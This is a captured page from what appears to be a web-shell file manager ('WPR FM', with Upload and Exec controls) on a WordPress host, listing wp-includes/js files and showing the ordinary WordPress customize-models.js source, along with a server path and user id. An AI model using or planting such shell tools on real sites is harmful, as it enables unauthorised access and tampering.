WPR FM
uid=9814(b13i2mwmyrdbxio) php=8.4.28
info
cwd /data/sites/web/b13i2mwmyrdbxio/www |
naik
Buka
-
admin-bar.js
10549
x
-
admin-bar.min.js
3487
x
-
api-request.js
3324
x
-
api-request.min.js
1023
x
-
autosave.js
22476
x
-
autosave.min.js
5807
x
-
backbone.js
80436
x
-
backbone.min.js
24314
x
-
clipboard.js
26807
x
-
clipboard.min.js
9009
x
D
codemirror/
-
colorpicker.js
29083
x
-
colorpicker.min.js
16498
x
-
comment-reply.js
12383
x
-
comment-reply.min.js
2950
x
D
crop/
-
customize-base.js
25822
x
-
customize-base.min.js
7852
x
-
customize-loader.js
7903
x
-
customize-loader.min.js
3551
x
-
customize-models.js
6821
x
-
customize-models.min.js
3681
x
-
customize-preview-nav-menus.js
15024
x
-
customize-preview-nav-menus.min.js
5033
x
-
customize-preview-widgets.js
23467
x
-
customize-preview-widgets.min.js
7841
x
-
customize-preview.js
28597
x
-
customize-preview.min.js
11011
x
-
customize-selective-refresh.js
33291
x
-
customize-selective-refresh.min.js
10722
x
-
customize-views.js
5222
x
-
customize-views.min.js
2567
x
D
dist/
-
heartbeat.js
24052
x
-
heartbeat.min.js
5947
x
-
hoverIntent.js
7225
x
-
hoverIntent.min.js
1499
x
-
hoverintent-js.min.js
1718
x
-
imagesloaded.min.js
5520
x
D
imgareaselect/
D
jcrop/
D
jquery/
-
json2.js
31
x
-
json2.min.js
35
x
-
masonry.min.js
24138
x
-
mce-view.js
25849
x
-
mce-view.min.js
9770
x
-
media-audiovideo.js
24717
x
-
media-audiovideo.min.js
12049
x
-
media-editor.js
29460
x
-
media-editor.min.js
11092
x
-
media-grid.js
27752
x
-
media-grid.min.js
13686
x
-
media-models.js
44085
x
-
media-models.min.js
13338
x
-
media-views.js
273089
x
-
media-views.min.js
110741
x
D
mediaelement/
D
plupload/
-
quicktags.js
22601
x
-
quicktags.min.js
11132
x
-
shortcode.js
10758
x
-
shortcode.min.js
2643
x
-
swfobject.js
0
x
-
swfobject.min.js
35
x
D
swfupload/
D
thickbox/
D
tinymce/
-
tw-sack.js
4970
x
-
tw-sack.min.js
3288
x
-
twemoji.js
37180
x
-
twemoji.min.js
19848
x
-
underscore.js
68873
x
-
underscore.min.js
19012
x
-
utils.js
4665
x
-
utils.min.js
1864
x
-
wp-ajax-response.js
3903
x
-
wp-ajax-response.min.js
2571
x
-
wp-api.js
46994
x
-
wp-api.min.js
14682
x
-
wp-auth-check.js
4444
x
-
wp-auth-check.min.js
1689
x
-
wp-backbone.js
15241
x
-
wp-backbone.min.js
3039
x
-
wp-custom-header.js
10465
x
-
wp-custom-header.min.js
4442
x
-
wp-embed-template.js
6779
x
-
wp-embed-template.min.js
3174
x
-
wp-embed.js
3214
x
-
wp-embed.min.js
1251
x
-
wp-emoji-loader.js
13357
x
-
wp-emoji-loader.min.js
2977
x
-
wp-emoji-release.min.js
22752
x
-
wp-emoji.js
8792
x
-
wp-emoji.min.js
2855
x
-
wp-list-revisions.js
970
x
-
wp-list-revisions.min.js
597
x
-
wp-lists.js
25315
x
-
wp-lists.min.js
7521
x
-
wp-pointer.js
10233
x
-
wp-pointer.min.js
3621
x
-
wp-sanitize.js
1622
x
-
wp-sanitize.min.js
402
x
-
wp-tooltip.js
1846
x
-
wp-tooltip.min.js
643
x
-
wp-util.js
4689
x
-
wp-util.min.js
1431
x
-
wpdialog.js
569
x
-
wpdialog.min.js
281
x
-
wplink.js
21240
x
-
wplink.min.js
11317
x
-
zxcvbn-async.js
821
x
-
zxcvbn-async.min.js
351
x
-
zxcvbn.min.js
822237
x
Upload
Simpan
/** * @output wp-includes/js/customize-models.js */ /* global _wpCustomizeHeader */ (function( $, wp ) { var api = wp.customize; /** @namespace wp.customize.HeaderTool */ api.HeaderTool = {}; /** * wp.customize.HeaderTool.ImageModel * * A header image. This is where saves via the Customizer API are * abstracted away, plus our own Ajax calls to add images to and remove * images from the user's recently uploaded images setting on the server. * These calls are made regardless of whether the user actually saves new * Customizer settings. * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.ImageModel * * @constructor * @augments Backbone.Model */ api.HeaderTool.ImageModel = Backbone.Model.extend(/** @lends wp.customize.HeaderTool.ImageModel.prototype */{ defaults: function() { return { header: { attachment_id: 0, url: '', timestamp: _.now(), thumbnail_url: '' }, choice: '', selected: false, random: false }; }, initialize: function() { this.on('hide', this.hide, this); }, hide: function() { this.set('choice', ''); api('header_image').set('remove-header'); api('header_image_data').set('remove-header'); }, destroy: function() { var data = this.get('header'), curr = api.HeaderTool.currentHeader.get('header').attachment_id; // If the image we're removing is also the current header, // unset the latter. if (curr && data.attachment_id === curr) { api.HeaderTool.currentHeader.trigger('hide'); } wp.ajax.post( 'custom-header-remove', { nonce: _wpCustomizeHeader.nonces.remove, wp_customize: 'on', theme: api.settings.theme.stylesheet, attachment_id: data.attachment_id }); this.trigger('destroy', this, this.collection); }, save: function() { if (this.get('random')) { api('header_image').set(this.get('header').random); api('header_image_data').set(this.get('header').random); } else { if (this.get('header').defaultName) { api('header_image').set(this.get('header').url); api('header_image_data').set(this.get('header').defaultName); } else { api('header_image').set(this.get('header').url); api('header_image_data').set(this.get('header')); } } api.HeaderTool.combinedList.trigger('control:setImage', this); }, importImage: function() { var data = this.get('header'); if (data.attachment_id === undefined) { return; } wp.ajax.post( 'custom-header-add', { nonce: _wpCustomizeHeader.nonces.add, wp_customize: 'on', theme: api.settings.theme.stylesheet, attachment_id: data.attachment_id } ); }, shouldBeCropped: function() { if (this.get('themeFlexWidth') === true && this.get('themeFlexHeight') === true) { return false; } if (this.get('themeFlexWidth') === true && this.get('themeHeight') === this.get('imageHeight')) { return false; } if (this.get('themeFlexHeight') === true && this.get('themeWidth') === this.get('imageWidth')) { return false; } if (this.get('themeWidth') === this.get('imageWidth') && this.get('themeHeight') === this.get('imageHeight')) { return false; } if (this.get('imageWidth') <= this.get('themeWidth')) { return false; } return true; } }); /** * wp.customize.HeaderTool.ChoiceList * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.ChoiceList * * @constructor * @augments Backbone.Collection */ api.HeaderTool.ChoiceList = Backbone.Collection.extend({ model: api.HeaderTool.ImageModel, // Ordered from most recently used to least. comparator: function(model) { return -model.get('header').timestamp; }, initialize: function() { var current = api.HeaderTool.currentHeader.get('choice').replace(/^https?:\/\//, ''), isRandom = this.isRandomChoice(api.get().header_image); // Overridable by an extending class. if (!this.type) { this.type = 'uploaded'; } // Overridable by an extending class. if (typeof this.data === 'undefined') { this.data = _wpCustomizeHeader.uploads; } if (isRandom) { // So that when adding data we don't hide regular images. current = api.get().header_image; } this.on('control:setImage', this.setImage, this); this.on('control:removeImage', this.removeImage, this); this.on('add', this.maybeRemoveOldCrop, this); this.on('add', this.maybeAddRandomChoice, this); _.each(this.data, function(elt, index) { if (!elt.attachment_id) { elt.defaultName = index; } if (typeof elt.timestamp === 'undefined') { elt.timestamp = 0; } this.add({ header: elt, choice: elt.url.split('/').pop(), selected: current === elt.url.replace(/^https?:\/\//, '') }, { silent: true }); }, this); if (this.size() > 0) { this.addRandomChoice(current); } }, maybeRemoveOldCrop: function( model ) { var newID = model.get( 'header' ).attachment_id || false, oldCrop; // Bail early if we don't have a new attachment ID. if ( ! newID ) { return; } oldCrop = this.find( function( item ) { return ( item.cid !== model.cid && item.get( 'header' ).attachment_id === newID ); } ); // If we found an old crop, remove it from the collection. if ( oldCrop ) { this.remove( oldCrop ); } }, maybeAddRandomChoice: function() { if (this.size() === 1) { this.addRandomChoice(); } }, addRandomChoice: function(initialChoice) { var isRandomSameType = RegExp(this.type).test(initialChoice), randomChoice = 'random-' + this.type + '-image'; this.add({ header: { timestamp: 0, random: randomChoice, width: 245, height: 41 }, choice: randomChoice, random: true, selected: isRandomSameType }); }, isRandomChoice: function(choice) { return (/^random-(uploaded|default)-image$/).test(choice); }, shouldHideTitle: function() { return this.size() < 2; }, setImage: function(model) { this.each(function(m) { m.set('selected', false); }); if (model) { model.set('selected', true); } }, removeImage: function() { this.each(function(m) { m.set('selected', false); }); } }); /** * wp.customize.HeaderTool.DefaultsList * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.DefaultsList * * @constructor * @augments wp.customize.HeaderTool.ChoiceList * @augments Backbone.Collection */ api.HeaderTool.DefaultsList = api.HeaderTool.ChoiceList.extend({ initialize: function() { this.type = 'default'; this.data = _wpCustomizeHeader.defaults; api.HeaderTool.ChoiceList.prototype.initialize.apply(this); } }); })( jQuery, window.wp );
Exec